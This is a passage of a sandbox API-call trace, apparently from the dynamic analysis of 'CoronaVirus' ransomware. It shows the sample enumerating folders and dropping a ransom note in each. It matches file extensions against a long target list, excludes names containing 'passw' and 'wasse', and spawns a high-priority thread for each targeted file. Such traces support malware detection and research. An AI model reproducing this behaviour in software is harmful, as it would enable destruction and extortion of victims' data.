	[0081.647] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.648] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.648] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.648] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.649] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0081.649] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1
	[0081.649] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.649] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.649] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1043") returned 26
	[0081.649] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.649] wcsstr (_Str="C:\\588bce7c90097ed212\\1043", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.649] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.654] _alloca_probe () returned 0x4036d0
	[0081.654] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1043", lpFilePart=0x316583c*="1043") returned 0x1a
	[0081.654] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea0799af, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0081.654] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.654] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea0799af, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.654] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.654] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0799af, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea0799af, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.654] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.655] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.655] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.655] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.655] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.655] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.655] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.655] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.655] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.655] malloc (_Size=0x1000) returned 0x2f1f2e0
	[0081.655] _swprintf (in: param_1=0x2f1f2e0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\CoronaVirus.txt") returned 42
	[0081.655] wcsstr (_Str="C:\\588bce7c90097ed212\\1043\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.655] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.655] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.655] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.655] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.655] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.655] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.655] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.655] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.655] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.655] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.655] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.656] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.656] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.657] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.657] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.657] malloc (_Size=0x1000) returned 0x2f212f0
	[0081.657] _swprintf (in: param_1=0x2f212f0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0081.657] wcsstr (_Str="C:\\588bce7c90097ed212\\1043\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.657] wcsstr (_Str="C:\\588bce7c90097ed212\\1043\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.657] wcsstr (_Str="C:\\588bce7c90097ed212\\1043\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f212f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0081.658] SetThreadPriority (hThread=0x484, nPriority=15) returned 1
	[0081.663] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.663] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.663] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.671] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.671] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.671] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.671] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.671] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.672] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.672] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.672] malloc (_Size=0x1000) returned 0x2f212f0
	[0081.672] _swprintf (in: param_1=0x2f212f0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0081.672] wcsstr (_Str="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.672] wcsstr (_Str="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.672] wcsstr (_Str="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f212f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0081.673] SetThreadPriority (hThread=0x488, nPriority=15) returned 1
	[0081.677] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.677] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.677] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.677] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.677] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.677] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.677] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.677] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.677] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.677] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.683] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.683] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.683] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.683] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.683] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.683] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.683] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.683] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.683] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.683] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.689] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.689] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.694] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.694] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.694] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.694] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.694] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.694] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.694] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.694] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.694] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.694] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.695] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.695] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
